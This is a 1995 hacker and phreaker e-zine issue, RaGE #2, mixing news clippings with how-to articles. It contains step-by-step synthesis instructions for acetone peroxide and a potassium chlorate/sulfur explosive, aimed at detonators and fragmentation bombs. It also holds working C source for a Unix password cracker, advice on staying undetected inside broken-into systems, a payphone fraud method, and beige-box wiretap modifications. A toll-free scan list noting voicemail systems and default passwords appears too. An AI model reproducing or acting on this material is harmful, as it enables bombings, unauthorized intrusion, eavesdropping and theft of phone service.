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Ruthless Anarchists Getting Even Issue 02
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#2 ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ uG
2# sselhtuR ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ Ruthless ea
!e stsichranA ÛÛ ÛÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ Anarchists #R
Ru gnitteG ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ Getting 2!
aS nevE ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ Even i2
GS ÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ S#
Ei SE
#2 "It's only freedom as long as the opposition tolerates it" uG
2# ea
!euSSi2#euSSi2#euSSi2#euSSi2#euSSi2#euSSi2#euSSi2#euSSi2#euSSi2#R
------------------------------------------------------------------------------
Table of Contents RaGE Magazine Issue #2
------------------------------------------------------------------------------
I. Intro
1. Welcome to RaGE #2
2. RaGE Mailroom
II. Chapter 1 [Hacking]
1. Project Hacker
2. TinyCrack C source
3. SPA/Internet Piracy
4. Mitnick Gets Busted
III. Chapter 2 [Phreaking]
1. Payphones in Spain
2. Advanced Beige Box Modifications
3. Phreaker's Tools Review
4. 1-800-325-3xxx Scan List
IV. Chapter 3 [Anarchy/Scams/Exploits]
1. Acetone Peroxide Explosive
2. Potassium Chlorate/Sulfur Explosive
3. New York Instant Lotto Machines
4. Trashing Techniques
5. Blockbuster Video Scam
6. Carding Techniques
7. Marijuana Closet Garden
V. Chapter 4 [Editorials]
1. Microsoft Windows '95 Editorial
2. Stumble's Nazi Views
VI. Ending
1. Submission Guidelines
2. uuDW group info
------------------------------------------------------------------------------
Welcome to RaGE #2, as you can see this is nothing like our first issue.
We have a new text reader for the 'zine and new ANSI. We received lots of
feedback after the initial RaGE release. Many of the suggestions and comments
sent to us influenced us into making some dramatic revisions. Hopefully it
doesn't suck too much...
We are continuing with the production of RaGE, full-steam ahead <choo>
<choo> therefore we are accepting your comments and suggestions for future
issues of RaGE. Due to suggestions from several readers we have sub-divided
the text into smaller bite size portions. This will allow you to quickly and
easily go to your section of choice.
A uuDW WWW page is in development. It was not ready for use at press
time. Therefore it should be up and running sometime soon. We are also
trying to obtain an FTP site to receive submissions for future RaGE releases.
So here you are about to read RaGE #2. We unfortunately could not
release it on the originally specified date. But life sucks, and we still
live it... So all of us at uuDW hope you enjoy another RaGE excursion...
--- RaGE Mailroom
From: jp4ace@netcom.com
Subject: RaGE
To: uudw@cyberspace.org
Date: Thu, 9 Mar 1995 16:16:28 -0800 (PST)
> I just got RaGE #1, and it is the BOMB man! Tha shit kix ass!! Make more
> music for it tho...
> L8rz..
Thanks for your support! However, due to the size of the music files in RaGE
#1, a decision was made to stop including music with RaGE.
We felt it did not fit in with the general concept of the magazine. We are,
however, in the process of working on a literary magazine, to include poems,
short stories, and music, which will be released sometime in the future.
---
From: iha_j@kosmos.wcc.govt.nz
Subject: Ya mag
To: uudw@cyberspace.org
Date: Sun, 15 Jan 1995 23:38:46
> Yeah, just a comment about ya mag, da Musix is fuqin awesome, anyway I
> was lookin into becoming offical distro site 4 ya mag, so reply here if
> interested...
Anyone interested in becoming a distribution site must e-mail us their
complete board information, and we will get back to you within a few days.
---
From: H-Bomb
Subject: RaGE is Phat!
To: uudw@cyberspace.org
Date: Sat, 14 Jan 1995 02:10:57
> Yo! I just wanna say to you guys that Rage #1 is all that! Your
> articles about AT&T and the bomb making shit... Aww man that is phat! The
> music is slammin too! Anyway I just wanna say that you guys obviously did a
> hella detailed job on #1 so im wondering when is #2 gonna be out? Where can
> I find it? Etc... But anyway I'm gonna go read Rage #1 over again to make
> sure I didn't miss anything!
Glad to hear you liked it... Check the FTP site listing at the end of RaGE #2.
!!!
--- Project Hacker
In RaGE #1, Grendel gave his opinions on the world of hacking and the
attitides that come along with it. I agree with him in that everyone seems
to just want to be the best, and aside from them, everyone else is lame.
There are many breeds of hackers, or at least, people who call themselves
hackers. As far as the underground world goes, I would like to offer my
opinion on the subject. If you haven't already, be sure to read Grendel's
article from RaGE #1.
The art of perfection in hacking lies in knowing exactly how far over
the edge you can safely go. Everyone's goal is to not get caught, (mostly
sparked by unnecessary paranoia) but not as many can actually achieve it.
What one must do is know exactly what you are dealing with. In this world,
knowledge is power. The more you know about what or who you are dealing with,
the better you will be able to handle yourself as you do what you want, and be
successful at it.
Setting a clearly defined goal is terribly important. Unfortunately,
it does not seem to be a high priority for many "hackers." They just want to
break into a system, fool around, and leave. Sure, there's a rush, but often
it's only temporary because proper measures were not taken in advance. What
they should do instead, is break in, maintain a low profile, learn the system,
find out what they can and can't do, and leave without being detected. Then,
if they want to attack the system in a more agressive way, they will have the
know-how to do so successfully, without a System Administrator breathing down
their back.
Many hackers take the same routes that have already been used and abused
by their predecessors. Here is where the power of originality can be helpful;
finding a virgin system will benefit you in many ways. There will be pathways
available to you that have never been touched by others, there will be a
number of possibilities waiting for you, tempting you with its own stupidity.
Reach out and command these untouched security mishaps, for they will be gone
all too quickly.
By breaking into a system once, you have found that a door is open to
you. By giving away your presence, you can have that door slammed in your
face. By taking careful precautions, you can not only keep that door open to
you, but open additional doors for your use.
If you like to break in and do as much damage as possible on the first
chance you get, your poor approach to hacking will soon catch up with you. If
you hack to gain knowledge, and use that knowledge in a way that will bring
you to additional knowledge, more power to you.
I would like to share an article that I recently saw in the newspaper...
Apparently, the technique being described is an old one, but has just recently
been exploited, and on quite a large scale.
---
"Internet hackers steal a new ride"
Hackers are circulating and using a technique that can crack security
systems at many Internet computer sites, including beefed-up systems recently
installed at great expense by hundreds of businesses and other institutions,
federal officials and security experts said (Monday).
Spoofed: IP spoofing can enable intruders to take control of those
systems - reading mail, deleting files or stealing programs - despite so-
called "firewalls" that were intended to improve the loose security inherent
in the Unix operating system of most Internet computers. Unix is a popular
operating system for computers at academic institutions.
Snooped: The problem will have little impact on the average Internet
computer user, whose e-mail and files have always been vulnerable to
determined snoops. But it could slow the rush to transfer cash and set up
electronic businesses on the Internet, a network on 20 million computer users.
Warned: The Computer Emergency Response Team, the federally funded
clearinghouse for Internet security, (Monday) issued a warning over the
Internet about the intruder problem and offered several possible technical
fixes, all intricate.
- (From: News Service Reports)
GraveDigger/uuDW
---
/*
TinyCrack v1.0 by Bluesman@cyberspace.org 1/95
- SPECIAL RaGE RELEASE! -
If your tired of having to use gigantic password crackers for a quick-fix,
then you might try using this program. It does the basics. It scans for
nulls, tries usernames and account names and of course it runs with any
wordlist dictionary. Tested on SunOs, Ultrix and Linux.
TO COMPILE: gcc -O2 tc.c -o tc
*/
#include <stdio.h>
#include <string.h>
#define fetch(a,b,c,d) {fgets(a,130,b); c=strtok(a,":"); d=strtok('\0',":");}
main()
{
FILE *p,*o,*w;
char i[50],pes[130],pas[50],pps[50],pws[50];
char *es=pes,*as=pas,*ps=pps,*ws=pws;
printf("\nTinyCrack v1.0 Bluesman 1/95 - RaGE Mag Release!\n\n");
printf("Password File: "); gets(i);
p=fopen(i,"r");
printf("WordList File: "); gets(i);
w=fopen(i,"r");
printf("Results File : "); gets(i);
o=fopen(i,"w");
fprintf(o,"*** TINYCRACK v1.0 ***\n\n*** PASS 1: NULL PASSWORDS ***\n");
while(ps)
{
fetch(es,p,as,ps);
if(ps) if(ps[-1]==':') fprintf(o,"| User [%s] has no password!\n",as);
}
fflush(o); rewind(p);
fprintf(o,"*** PASS 2: ACCOUNT NAMES ***\n");
do
{
fetch(es,p,as,ps);
if(ps) if(!strcmp((char *)crypt(as,ps),ps))
fprintf(o,"| User [%s] has password [%s]\n",as,as);
} while(ps);
fflush(o); rewind(p);
fprintf(o,"*** PASS 3: DICTIONARY WORDS ***\n");
do
{
rewind(w);
fetch(es,p,as,ps);
do
{
fgets(ws,130,w);
ws[strlen(ws)-1]=0;
if(!strcmp((char *)crypt(ws,ps),ps))
{
fprintf(o,"| User [%s] has password [%s]\n",as,ws);
fflush(o);
break;
}
} while(!feof(w));
} while(!feof(p));
fprintf(o,"*** FINISHED SESSION ***\n");
exit(1);
}
--- Internet Piracy
Piracy has been a big issue in on the Internet since the crackdown of
Cynosure in the middle of 1994. With that bust many different communities
have been working together to stop the pirate situation on the Internet. It
has been a constant race between the pirates and the anti-pirates. When the
anti-pirates find one way to stop them, the pirates find another way around
them. But as the following article states, the Internet is going to be a huge
target in 1995. Please read the material and take precaution toward these
actions. This is a fair warning going out to the anti-pirates, and the
pirates...
---
SPA Targets Internet, International Piracy 01/11/95
WASHINGTON, D.C., U.S.A., 1995 JAN 11 (NB) -- Software Publishers
Association (SPA) says corporate software piracy in the US was down 23 percent
in 1994, but other forms of piracy became more secretive and harder to locate.
The anti-piracy trade organization said it will focus on international piracy
and, specifically, piracy on the Internet during 1995.
SPA sources said anti-piracy hot-line calls came in last year at a rate
of nearly 30 per day. These tips led to the SPA taking various types of
action against 447 organizations and led to 197 audits and lawsuits. These
resulting in the payment of $2.7 million in penalties during 1994, SPA sources
said. The organization said cumulative receipts from its continuing anti-
piracy campaign came to $14 million so far at the end of last year.
SPA said that, of all cases brought against suspected offenders, 95
percent were corporate cases. Five of these led to settlements greater than
$100,000, the organization said. Money from such settlements goes to fund
education programs and future legal actions, the SPA said, but declined to
name any of the companies involved.
The SPA officially estimates losses to software companies at $1.6 billion
annually in the US, and $7.5 billion internationally. It bases its estimates
on the number of computers sold in an area, the number of software packages
reported sold legitimately in the same area, and statistical reports on the
number of key applications run on an average desktop machine.
David Trendlay, the SPA's director of research, told Newsbytes the
underlying assumptions were reasonable and the resulting estimates should be
considered good.
Sally Lawrence, the SPA's director of communications, told Newsbytes that
piracy law violators have become more active on the Internet, where they
are harder to track down.
"We have stepped up our monitoring on the Internet dramatically, and are
working in cooperation with major American universities where some of this
activity is taking place," she said during an interview. "They've come across
a number of pirate sites hidden away in unsuspecting host servers. Right now
they're monitoring those activities with the intention of prosecuting to the
full extent of the law."
Lawrence declined to release any further details, other than to confirm
that the organization's attentions to the Internet were not confined to
activities in the "found" specific sites.
Internationally, the SPA has been active in France, Great Britain,
Singapore, Ease Asia, South America and Canada. It has recently developed a
Certified Software Manager course that offers certificates upon completion of
a test on copyright law, licensing issues, autoing and software management
policies.
(Craig Menefee/19950111/Press Contact: Sandra Sellers, director of
litigation, ext. 311, or Sally Lawrence, director of communications, ext. 320,
both of the Software Publishers Association, 202-452-1600; Reader Contact:
Piracy Hotline: 800-388-7478; SPA fax-back service, 800-637-6823)
---
MrOrange/uuDW
--- Mitnick: NO CARRIER
Kevin Mitnick, the computer hacker who has been dodging the law since
1992, was finally caught in February 1995. His downfall was the result of
another hacker's work, who happened to be on the other side of the law.
Tsutomu Shimomura was able to locate Mitnick's exact location through
several tracking techniques, including assistance from a Sprint technician,
who drove around Raleigh, North Carolina, in a van equipped with cellular
frequency scanning equipment.
In the early 1980's, Mitnick was a teenage phone phreak, and later became
involved in computer hacking. He stepped up from payphones to cellular
technology, giving him even more freedom.
Mitnick had collected some 20,000 valid credit card numbers, but had not
even used one of them, according to the evidence available.
(This article was condensed from the February 27 1995 issue of Newsweek.)
GraveDigger/uuDW
!!!
--- Spanish Phone Phun
By: Greg Oreck (i think?!)
<I've cut out a long un-needed disclaimer - Grendel>
While I can describe to you how one could accomplish this little hack,
I'm still looking for a definitive answer as to why it works, so if anyone
else has any ideas, please let me know. As far as I can tell though, what the
following does is to give you a line out from inside the Telefonica
system itself, and probably directly out of their telephone directory
information lines.
To start off, first you have to find the right kind of phone. The phone
you see here is the ONLY kind of Telefonica pay phone this works on, this
hack utilizes some flaws in this particular kind of pay phone, which only one
of the types found in Spain. It would be interesting to know if there are
Telefonica phones such as these in other spanish speaking countries (as I
believe Telefonica doesn't only operate in Spain).
Aside from just finding the right kind of pay phone, you also need to
find one where the wall plug is within reach, and where it is possible to
tamper with without attracting to much attention. This isn't as hard as you
think! Very often the plug is directly below the pay phone itself (as
pictured here).
<Here is my lame re-creation of a really cool picture - Grendel>
___________Slot_____
/ \
| ----- |
| /-\ | LED | |
| \_/ ----- | Notes:
| [|] mf ? | The coin slot is right above
| [|] 1 2 3 | the LED display. I have no idea
| [|] 4 5 6 | what the "mf" button stands for,
| [|] 7 8 9 | but as you'll read later on, it's
| /-\ * 0 # | an important ingredient! The
| \-/ _______ | button labeled "?" is the button
| |Coinbox| | I couldn't make out from the
| |_______| | picture... Below the phone is the
|--------------------| plug. Boy they sure are dumb in
\____________________/ Spain! Oh yeah: The "Coinbox" is
|Plug!| the coin return. - Grendel
|_____|
Now to begin, deposit one 25 peseta piece into the phone (the large 25
peseta piece, not the new small one). Next, press down the hook nine-tenths
of the way down until you feel a little resistance. If your 25 pta. piece is
returned, you pushed it down too far, but if it doesn't, and the LED screen
changes and starts to blink then you've done it correctly.
Now it would be wise to place something over that LED screen as the
blinking picture on the screen means that the phone is now working and anyone
who glances at it during your call will get quite suspicious. I suggest a
business card with someone's phone number on it (as if you were using it to
look at their number).
Once you've done this, you should dial "003". This is the # for
directory assistance in Spain, and once it connects, you will at first get a
recording in spanish. Once you hear this (i.e. you've connected), quickly
unplug the phone from the wall and then reconnect it.
At this point you should hear a steady tone (this is their dial tone),
and all you have to do now is to hit the "mf" button on the phone's keypad
(this is usually used for if you want to make a second phone call and still
have credit for the last call). Once you've hit the "mf" button, you're free
to dial away! You can now make local or international calls, just consult the
directions on how to make international phone calls from any outdoor phone
booth.
To make another call when you're done, instead of hanging up, just unplug
and re-plug in the phone again and hit the "mf" button and you're ready to
dial again!
Finally (and this is the best part!) when you are done with your phone
calls, just hang up the phone, and your 25 pta. piece is returned to you!
(courtesy of your friends at Telefonica!)
Hope you enjoyed the information!
* A note from Grendel: I stole this article out of "Walkabout 'zine" a really
cool 'zine that I picked up at a music/comic/coolshit shop up near the local
University. I recommend that if you see this 'zine sitting on some shelf...
BUY IT! (Or steal it.) Whatever!
Grendel/uuDW
--- Beige Box Modifications
I'm going to try to explain, and provide text-diagrams for a few
modifications I have made to my beige box. These modifications allow for
greater manipulation and testing of the lines which you will be using during
your boxing experiences. They have been streamlined with the idea in mind
that a beige box is a tiny hand-held unit, and these additions should not add
too much bulk to your box if you decide to implement them.
This article is assuming you know what a beige box is. I will not
explain how to build one here. This is only meant for people who already
have one, and who have used it before. I've provided the info, use it as you
wish. Do it right, and you'll have no problems.
You should be able to find all the parts you need in a decent electronics
store. I usually get my stuff from Radio Shaque, but I also got some from
school -- I used to take an audio electronics course, and I was able to get
lots of components from that class. Adding these modifications involves some
knowledge in stripping wires, identifying components, and soldering. If you
can't do any of this, here is a good place to stop.
1. Line Breaker:
One of the devices on my beige box is just a simple button. It's a
normally-closed button, which means the circuit is on unless you press the
button, which will break the circuit. Pushing this button, then, is the
equivelant to hanging up the phone. I hold this button down when connecting
the clips to the terminals, just in case someone is on the phone. This will
prevent them from hearing static and such. It can also be used to quickly
disconnect modem calls without removing the alligator clips. Below is a
simple diagram showing how to add this feature to your beige box:
Modular Jack
+----------+ Green Wire
| |----------------------------< Alligator
| |-----------------+ +-----< Clips
+----------+ Red Wire | |
+-//-+ Button or SPST Switch
All of the parts are self-explanitory, and the button could be replaced
by an SPST toggle switch if desired. As shown above, the button or switch is
placed on one wire (either red or green would work, it just has to be able to
interrupt the circuit) and each end of the wire is attached to one of the
terminals on the button or switch.
2. Polarity Tester:
This is helpful for testing for lines when you aren't sure if any of the
terminals in a box are actually connected, or if you can't remember the famous
"RED RIGHT RING" rule, and want to be sure you connected the box the right
way. It's activated by an SPST switch, and also requires a red and a green
LED. These parts are easily obtainable from most electronics stores. You
can even buy them if you want, but I suggest "obtaining" them first. (Why
waste your money?!) Here we go with lame diagrams again:
Green Wire
---------+---------------------<
|
/ SPST Switch
|
+-+-+
- | | +
Red LED @@ @@ Green LED
+ | | -
+-+-+
|
---------+---------------------<
Red Wire
Take note that the polarities of the LED's are opposite each other. This
way, if the current is flowing, only one LED will light up, indicating if the
polarity is correct or not. If no light is on, either there is no current,
the LED's are blown, or you fucked it up somehow. You should only use this in
emergencies, and only for short periods of time, or else you will blow the
LED's, and the damn thing won't work, you will look like a major
lamer if you're out with someone else and the thing fails. :P
Normally, the red wire is the negative end. So you need to make sure
you have the green LED's negative end facing the red wire, and the red LED's
negative end facing the green wire. Otherwise, the thing won't report the
correct polarity, and what purpose would that be?
3. Line Noise Reducer:
By adding this modification to your beige box, you will be able to cut
line noise. This is another simple procedure which requires easily-obtainable
parts. It will not reduce all of the noise, but can be effective to some
degree. The diagram follows:
Green Wire
------+---------------------<
|
(O) 1k ohm resistor
|
(O) 1k 250v capacitor
|
------+---------------------<
Red Wire
The capacitor will trap any excess noise, and the resistor will prevent
it from doing too much work. This should not affect the quality of the
connection in a negative way. These parts are also easy to get, just try to
get small components so you can fit them inside the modular jack. This actual
modification idea was borrowed from a text file on reducing phone line noise.
4. Monitor/Talk Mode Switch:
This method has not been tested by me, and it has been devised from an
article written by Phucked Agent 04 from the LOD/H Technical Journal. I'm
including this because I don't think many people know about this.
The purpose of this device is to allow you to monitor someone's line,
meaning just sitting there and listening in, or to use the line for dialing,
modeming, talking or whatever. This switch, then, is like a mute button.
Follow carefully for a little lesson in parallel circuits.
Red Wire
----------------------------< Alligator
------------+ +------< Clips
Green Wire | |
+---//---+ SPST Switch
| |
+---@@---+ 10,000 ohm 1/2 watt Resistor
| |
+--! (--+ 0.22 uF 200 WVDC Mylar Capacitor
Lovely, is it not? Hmm... Oh, that's what I thought. Anyways, to talk,
simply close the switch. Thus all the current will travel normally, bypassing
the capacitor/resistor routes. By opening the switch, you send the current to
the cap and resistor, placing you in "monitor" mode, in which anyone using the
line will not be able to hear you. If you want to get really sneaky, replace
the SPST with an on/off trim pot, which will enable complete cutting of the
circuit and complete connection. This will allow you to gradually switch
modes, as to further go undetected due to the absence of audible line static
due to your dirty deeds.
Well, there's a few ideas on how to improve your beige box. What I did
was to cut holes in the top of the modular jack case to house the button,
switch, and two LED's. The resistor/capacitor fit inside. Most buttons and
switches come with nuts or screws to fasten them to the case. For the LED's
you can use glue to secure them in their place. When adding these toys, use
the smallest amount of copper wire possible, and be sure to solder all your
connections. If the damn thing falls apart, its likely to be a bitch to fix
it. Do it right the first time.
If you're messy and can't make everything fit right, either get a bigger
modular jack or one of those "experiment boxes" from Radio Shaque, a small
plastic box which can be used to house your various components. If you decide
to do this, instead of using a modular jack, just get a small modular socket
and wire it yourself. Have fun, and be eleet!!
GraveDigger/uuDW
--- PC Phreakers Tools Review
I am going to review some high points and low points of two of my
personal favorite software products designed for phreaking purposes. They
are available on various FTP sites, or just call up any decent H/P/A board and
look for copies. If you can't find 'em you probably don't need 'em.
These programs are ToneLoc and BlueBEEP. I used the most current
versions at the time of writing this article. BlueBEEP is one release short
of its last version, and I'm not sure about the future of ToneLoc. In any
event, on with the show.
ToneLoc 1.10 - Minor Threat & Mucho Maas
This is, in my opinion, the best scanning program available for the PC
phreak. The version I currently have is 1.10, and I have used it on several
occasions, without running into any noticeable errors.
My first impression of ToneLoc was "I hate commandline-driven dialers!"
I was hoping to encounter some kind of scanning interface. But out of
necessity, I finally gave ToneLoc another try and decided there was no better
substitute. Even though it is commandline-driven, its features are powerful,
allowing you to define the scan mask, range, hours, maximum numbers dialed,
and more. It comes with a config program, which is used to define the modem
port, init strings, dialing times, modem responses, and other important
settings. However, well... Most BBS programs don't even have external config
programs anymore. This makes operation a little clunky in my opinion.
One of my friends reported that his 28.8 didn't work with ToneLoc, and
when recommending ToneLoc to me, suggested that I use my 2400 for scanning. I
decided to tinker around with TL first, to see if I could get my 14400 to
work properly with it. All I had to do was add some delays to the hangup
strings, modify the dialing time, and add commands to the init string. It
took less than 5 minutes of configuring, testing, and reconfiguring until my
14400 was set up properly.
During my setup, I also discovered how well the authors have documented
their software. After scanning 1000 numbers, I got 4 carriers, 15 busy
signals, and the rest in timeouts. I was a little disappointed. What to do
about all those damn timeouts? Then, I noticed another program in my TL
archive that was designed to handle the timeout responses. This particular
program was TLREPLAC, written by the TL authors themselves, and is very
useful. Unfortunately, the data file entered on the commandline for TLREPLAC
must have the .DAT extension, as the extension you enter is ignored. I had to
rename my datafile in order to use this utility.
While scanning, you are shown the modem responses on the right portion of
the screen. This is helpful when setting up, as you can see if the init
string gives an error. You also have the option to turn off the modem speaker
from the scanning screen, as well as blank the screen, show a different screen
(boss-key type feature), and stop the dialing prematurely.
TL 1.10 also came with third-party utilities designed to work with its
output data files. The authors of TL have included their C header file, which
explains the format of the data files, for anyone wishing to develop
complementing software. One of these third-party utilities is Tonemap, which
displays a graphical map with color representation of the various scanning
results from your data file. Using the cursor arrow keys, you can move to
different-colored blocks quickly, and the number will be displayed on the
screen. For example, carriers are red blocks, so you can quickly see them,
and move the cursor to the box and get the number, instead of just opening up
the scan log text file and getting the number.
Another of the external utilities is PRESCAN, allowing you to exclude
certain numbers in your scanning range. These numbers could be residential
numbers obtained from the phone book, and there are supposedly CD-ROM disks
available with such numbers on them, which can be used and will make your job
easier. In effect, this cuts down your scan time by not dialing numbers that
you know won't be of any use to you.
I think it would be great if ToneLoc came with default setups for
different brands of modems, like many terminal programs come with. Due to
TL's large user population, it shouldn't be hard to get help to develop this
addition if it is planned.
BlueBeep .10 - Onkel Dittmeyer
This little gem has an array of great features. It works best with a
soundcard. You only need a modem if you want to do scanning with it, but I
really recommend ToneLoc as a scanner. Included with BB is a redbox tone
generator, card talker, and a number/word translator.
You can setup everything from within BB, including the soundcard, modem,
and other settings. With the setup being internal, it makes things that much
easier.
My personal favorite tool is the Card Talker. It allows the user to
define a phone number, a calling card number, and use pre-recorded voices to
use as an interface between the phreak and the Long Distance Operator. This
feature was designed so well, the voice samples for the numbers includes a
"high" and "low" sample, giving it a natural sound, since numbers at the end
of a grouping would naturally be spoken with a lower tone of voice.
The Card talker also has user-defined voice capabilities, allowing two
VOC files to be inserted by the user. I think it would be best to add more
user-defined VOC slots, to allow for greater possibilities. For example, you
might need a voice to say "Yes," "No," or other responses. Also, it would be
helpful to have a short definable description for each custom voice file, so
you know which button is which voice. Pressing the key for the included voice
"Hey you stupid fag, I'm gonna cut your balls off" could be the wrong thing to
do after the operator tells you she is putting your call through.
The number/word convertor allows you to type in a word and have it
translated to numbers as you would find on a touchtone phone. It also allows
you to type in a number and instantly find a matching word or phrase for it.
This is handy for scanning those word-numbers like 1-800-EAT-SHIT or similar.
Due to a phone's layout though, it can't convert numbers with 0 or 1 in them,
since there are no matching letters.
There are also many scanning routines to be used, none of which I have
tried due to my desire to stick with ToneLoc for scanning. Even still, BB is
not a command-line scanner :). However, if I ever had one of those recordable
talking hallmark cards, I would know where to record my redbox tones from.
I recently mailed the author of this program to ask a question about
the program itself, and the author informed me he is preparing to release the
source code and discontinue work on the program. I have also heard on Usenet
that the author is planning one final release - 1.00 - after which release
the source will be made publicly available. This should be a great help to
anyone interested in developing a phreaking utility for the PC.
You can also expect a uuDW project to come out of BlueBEEP. Right now,
we are planning a customized version of BB's card talker, and we are going to
use the BlueBEEP source to develop it. Watch for it soon.
GraveDigger/uuDW
--- 1-800-325-3xxx Scan
011 - VMB System (VMX)
024 - VMB System
033 - "Please enter your transaction code and password."
040 - VMB System (Audix)
042 - VMB System (Audix)
047 - VMB System
053 - VMB System
057 - "Please enter your 4-digit PIN"
061 - VMB System (VMX)
070 - Loud Beeps (Fax? - Press * or #)
073 - VMB System
090 - Dictation Service <?> Asks for access code
102 - "Please enter your 4-digit PIN"
104 - "Please enter your 4-digit PIN"
105 - "Please enter your 4-digit PIN"
107 - "Please enter your 4-digit PIN"
116 - "Please enter your 4-digit PIN"
120 - VMB System
125 - VMB System (Admin box 999)
130 - VMB System
134 - VMB System
137 - "Please enter your 4-digit PIN"
138 - "Please enter your 4-digit PIN"
139 - "Please enter your 4-digit PIN"
151 - "Please enter your 4-digit PIN"
176 - VMB System (* to enter a mailbox) (no hangup for errors)
188 - VMB System
201 - VMB System (Aspen) (Admin box 9000)
215 - Carrier
219 - VMB System (Automated Attendant)
222 - VMB System
236 - "Please enter your 4-digit PIN"
239 - Weird tones (similar to a carrier)
243 - Carrier
250 - Automated Banking Service
251 - VMB System (#81 to access)
281 - Weird beep - Press # and * and it says "Hang Up."
286 - Weird beep - Press # and * and it says "Hang Up."
292 - VMB System (Automated Attendant) (3 digit boxes, 4 digit passwords)
322 - VMB System (default password: 0000)
341 - Weird beep - Press # and * and it says "Hang Up."
350 - VMB System
356 - VMB System
367 - Quiet tones
377 - Asks for a 5 digit access code
381 - VMB System (Dial ##81 to logon)
382 - Long Beep
391 - VMB System (Dial ##81 to logon)
393 - VMB System
398 - VMB System (4 digit boxes, 10 digit passwords)
402 - VMB System
405 - VMB System
411 - Direct-dial VMB / Pager Service
422 - VMB System
446 - VMB System
458 - VMB System
472 - VMB System
480 - VMB System (Press *# to enter) (3 digit boxes)
492 - Carrier
505 - Dialout (Code needed)
508 - VMB System
519 - VMB System
523 - VMB System
530 - Weird tones
540 - VMB System (3 digit boxes/passwords)
545 - VMB System (3 digit boxes/4 digit passwords)
550 - VMB System
552 - VMB System (Meridian Mail) (Press #6 to enter)
565 - VMB System (Meridian Mail) (Press #1 to enter)
573 - VMB System (#81 to enter)
590 - Automated Banking Service
644 - VMB System (3 digit boxes/4 digit passwords)
645 - Carrier
680 - Weird Beeps
690 - Carrier
716 - "At the tone, please key in your number"
720 - Weird Beeps
727 - Ringing with dialtone heard in background
785 - Rings Once.. beeps heard after ring
799 - (After pressing #, "Please enter your security code")
805 - Beep then rings.. VMB System
811 - VMB System (prompts for password then mailbox)
815 - VMB System (Press *# to enter)
841 - VMB System
847 - "..this program has ended and no further calls are being taken.."
856 - Long high-pitched tone
864 - VMB System
885 - Dialout
888 - VMB System
929 - "Enter the numbers you wish displayed"
936 - VMB System
963 - Automated Trucking Accounting Service
969 - Automated Trucking Accounting Service
980 - Press # "Please enter your.. access code"
!!!
--- Acetone Peroxide Explosive
Acetone peroxide is a primary explosive that can be made from hair
bleach (hydrogen peroxide), acetone, and sulfuric acid. This explosive can be
used n the fabrication of detonators.
Material Required: Sources:
Hydrogen peroxide Hair bleach (15-25 volume content)
Drug stores and hair supply stores.
Acetone Hardware stores, drug stores, etc.
Sulfuric acid Clear battery acid boiled until white
fumes appear.
Eye dropper or syringe with
glass tube.
Graduated cylinder (cc or ml) or
other measuring device.
Thermometer (0 to 100 degrees C.)
Glass containers
Large pan
Ice, salt and water.
Paper towels
Procedure:
1. Measure 30 milliliters of acetone and 50 milliliters of hydrogen peroxide
into a glass container and mix thoroughly.
2. Cool the acetone/peroxide mixture by placing its conatiner in a larger one
containing a mixture of ice, salt, and water.
Note: Because of the lighter inner container being buoyant in the larger
outer container, it's necessary to secure it so that it won't fall over into
the ice, salt, and water mixture.
3. Cool the acetone/peroxide mixture to 5 degrees C.
4. Add 2.5 milliliters of concentrated sulfuric acid to the acetone/peroxide
mixture slowly, drop by drop, with the use of an eye dropper. Stir the
mixture during the addition of the sulfuric acid with a thermometer,
keeping the temperature between 5-10 degrees C. Should the temperature
rise above 10 degrees C., stop adding the sulfuric acid and continue
stirring until the temperature drops again to 5 degrees C., then continue
adding the sulfuric acid.
5. After all the sulfuric acid has been added, continue stirring the mixture
for another five minutes.
6. Let the acetone/peroxide/sulfuric acid mixture stand in the ice/salt/
water bath or remove the inner container and place it in an ice box for 12
to 24 hours.
7. After 12 hours white crystals of acetone peroxide will precipitate out of
the once clear solution. Precipitation should be completed after 24 hours.
CAUTION: At this point the mixture is a primary explosive. Keep away from
shock, friction and flame.
8. Filter the mixture through a paper towel into a container to collect the
solid particles.
9. Wash the solid particles collected in the paper towel with small amounts
of ice cold water poured over them. Discard the liquid in the container.
10. Place these explosive crystals in a container and allow to dry.
CAUTION: Handle the dry explosive with great care. Do not scrape or handle
it roughly. Keep away from sparks or open flame. Store in a cool, dark, dry
place.
PSYC0SiS/uuDW
--- Potassium Chlorate/Sulfur Explosive
An impact sensitive explosive can be made from postassium chlorate and
sulfur. This explosive can be used as a filler when making reusable primers
or as a filler when making impact sensitive fragmentation bombs.
Material Required: Sources:
Potassium chlorate Drug stores and chemical supply houses
(used in match heads).
Sulfur Drug stores and garden supply houses
(Flotox brand garden sulfur).
Measuring container (cup,
tablespoon, etc.)
Mixing container (jar, can) with
tight fitting lid.
Two flat boards (one should be
comfortably held in the hand such
as a square block or rolling pin
and one very large, i.e., 36" x
36")
Procedure:
1. Spread a handful at a time of postassium chlorate on the large flat board
and rub vigorously with the other flat board or rolling pin until the large
particles are crushed into a very fine powder (approx. 10 minutes per
handful).
CAUTION: Thoroughly clean and dry both boards before using again with a
different substance.
2. Repeat this process using the sulfur.
3. Measure 7 parts by volume, 11 parts by weight, of powdered potassium
chlorate and 1 part by volume, 1 part by weight, of powdered sulfur into
the mixing container.
CAUTION: This mixture forms an extremely shock sensitive explosive,
especially between two metal surfaces. Reasonable care should be exercised
from this point on.
4. Gently tumble the mixing container between the hands until the ingredients
are thoroughly mixed together.
5. Place the mixed explosive in a tightly sealed storage container until
ready to use.
CAUTION: Do not store the mixed explosive for more than five days before
using. Keep this explosive dry at all times.
PSYC0SiS/uuDW
--- Ripping Off Instant Lotto Machines
New York's prominant "Hey, you never know..." theme for the lottery may
be a common saying these days, but the odds of your winning any state lottery
are quite slim; or are they?
First off, I'd like to throw a standard disclaimer at you: I'm not
responsible for shit. My intentions are not to cause financial difficulty to
the states (God knows we need more of it), but merely to point out some
flaws... This is for informational purposes only, and use of this material
for illegal activities is not suggested...
Now that that's outta the way, a diagram might be in order:
__________________________________________
| _____ |
| Instant Lotto Machine ||__A__|| |
| |
| _______ _______ _______ |
